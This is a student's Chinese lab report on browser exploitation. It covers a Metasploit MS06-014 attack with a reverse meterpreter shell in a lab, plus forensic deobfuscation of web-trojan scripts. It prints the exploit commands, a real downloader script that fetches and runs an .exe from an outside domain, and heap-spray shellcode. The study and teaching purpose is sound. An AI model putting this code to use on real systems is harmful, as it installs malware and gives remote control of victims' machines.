20212810 2021-2022-2 《网络攻防实践》实践十一报告
作者:互联网
20212810 2021-2022-2 《网络攻防实践》实践十一报告
一.实践内容
1.Web浏览器渗透攻击实验
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
2.取证分析实践—网页木马攻击场景分析
3.攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
二.实践过程
实验一:Web浏览器渗透攻击实验
使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
- 所需环境:
-
攻击机: BT4 Linux攻击机或Windows XP_ _Attacker攻击机,使用其中安装的Metasploit渗透攻击框架软件;
-
靶机:未打补丁的Windows靶机,可使用Windows 2KS靶机或Windows XP靶机。
- 实验步骤:
-
选择使用Metasploit中的MS06-014渗透攻击模块(ie_ createobject);
-
选择PAYLOAD为任意远程Shell连接;
-
设置服务器地址(SVRHOST或LHOST)和URL参数,运行exploit,构造出恶意网页木马脚本;
-
在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL;⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。
本次实验使用的虚拟机为kali(IP:192.168.200.66)和Win2k(IP:192.168.200.124),并开启蜜罐保证连通性。
1.在kali中打开msfconsole
搜索MS06-014漏洞search MS06-014
选择module use 0
显示有效载荷show payloads
2.设置payload set payload windows/meterpreter/reverse_tcp
show options查看需要设置的参数(当时忘记截图,用的设置后的图片)
3.设置攻击机地址set LHOST 192.168.200.66
之后show options检查一下
4.攻击exploit
我们发现有个URL地址http://192.168.200.66:8080/LYEjTbusjcwZ1,可能是题目那个有木马的恶意地址
5.在靶机中访问这个地址http://192.168.200.66:8080/LYEjTbusjcwZ1
发现显示一段英文字符
回到攻击机中,发现已经建立会话
回车一下
6.用sessions查看目前的连接
使用命令sessions 1选择会话1,返回meterpreter
使用getuid查看当前权限,发现当前权限为Administrator
最后查看靶机ip也是与实际相符合的。
实验二:取证分析实践—网页木马攻击场景分析
-
首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
-
在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值 下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
-
如果解密出的地址给出的是网页或脚本文件,请继续解密。
-
如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
-
重复以上过程直到这些文件被全部分析完成。
由于没有实验环境,下面仅对已经提供的文件简要进行分析:
对于文件1.js(MS06-014网马),直接打开发现除了最外层的Eval()函数以外,其他都是十六进制编码,使用解码工具解码后发现内容为一些 JS 代码,然后格式化,得到下面的代码。
var url = "http://down.18dd.net/bb/014.exe";
try {
var xml = ado.CreateObject("Microsoft.XMLHTTP", "");
xml.Open
("GET", url, 0);
xml.Send();
as.type = 1;
as.open();
as.write(xml.responseBody);
path = "..\\ntuser.com";
as.savetofile(path, 2);
as.close
();
var shell = ado.createobject("Shell.Application", "");
shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0)
} catch(e) {}
可见,该脚本下载了文件014.exe,然后利用系统漏洞,调用了命令行执行了该程序,那么这个程序一定是恶意程序了。
再看b.js
eval(function(p, a, c, k, e, d) {
e = function(c) {
return c
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c] = k[c] || c
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}
('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)', 10, 196, '|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'), 0, {}))
接下来是pps.js。
尝试使用八进制解码后:
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps = (document.createElement("object"));
pps.setAttribute("classid", "clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer += "\x0a\x0a\x0a\x0a";
pps.Logo = buffer
这也是 shellcode。
接下来通过 IDA 打开提供的 pps.exe 文件。
可知,运行该程序后,会自动下载其他的 exe 文件,并且在根目录生成自动运行的文件
实验三:攻防对抗实践—web浏览器渗透攻击攻防
-
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
-
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
首先选择实验1中的MS06_014漏洞,重复先前步骤,在攻击前打开wireshark监听。
执行攻击
获取恶意网站链接http://192.168.200.66:8080/LYEjTbusjcwZ1,在靶机打开网站
同时看到攻击机的攻击行为
返回攻击机的wireshark,观察从靶机发送给攻击机的信息
追踪TCP流,发现一串很长很长的代码~而且有很多空格
经过反混淆和格式化处理后,得到如下的 JS 代码。
function eKXqxEpEOOOxsLSXxJeRxJCn(a) {
var s = jwnxVgMVVlmT(a, "WScript.Shell");
var o = jwnxVgMVVlmT(a, "ADODB.Stream");
var e = s.Environment("Process");
var url = document.location + '/payload';
var xml = null;
var bin = e.Item("TEMP") + "\\MrDqdDEsHwVsvWYbTDp.exe";
var dat;
try {
xml = new XMLHttpRequest()
} catch (e) {
try {
xml = new ActiveXObject("Microsoft.XMLHTTP")
} catch (e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
}
}
if (!xml) {
return (0)
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0)
}
function XlQTpSAsmOEMwLPxUVPUgMKrlrBR() {
var i = 0;
var t = new Array(' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
', ' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
', ' {
7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
', ' {
6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
', ' {
6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
', ' {
06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
', ' {
639F725F - 1B2D - 4831 - A9FD - 874847682010
}
', ' {
BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
', ' {
D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
', ' {
E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
', ' {
AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
', ' {
0006F033 - 0000 - 0000 - C000 - 000000000046
}
', ' {
0006F03A - 0000 - 0000 - C000 - 000000000046
}
', null);
while (t[i]) {
var a = null;
if (t[i].substring(0, 1) == ' {
') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
} else {
try {
a = new ActiveXObject(t[i])
} catch (e) {}
}
if (a) {
try {
var b = jwnxVgMVVlmT(a, "WScript.Shell");
if (b) {
eKXqxEpEOOOxsLSXxJeRxJCn(a);
return (0)
}
} catch (e) {}
}
i++
}
}
攻击者使用的漏洞是MS06-014。
三.学习中遇到的问题及解决
问题:在捕获的 TCP 流转化为 js 代码后不知如何下手
解决:各种搜索,终于在可疑的数组字符串中找到了漏洞线索
问题:最后一个实践有点难,很多问题回答不了,分析过程也是举步维艰
解决:看别人的博客,也没弄明白
四.实践总结
这次实验比较难,有一些是参考了下同学的实验步骤。尤其实验二,有些不懂。
标签:xml,攻击机,攻击,实践,渗透,2021,2022,var,靶机 来源: https://www.cnblogs.com/bzhuihui/p/16321992.html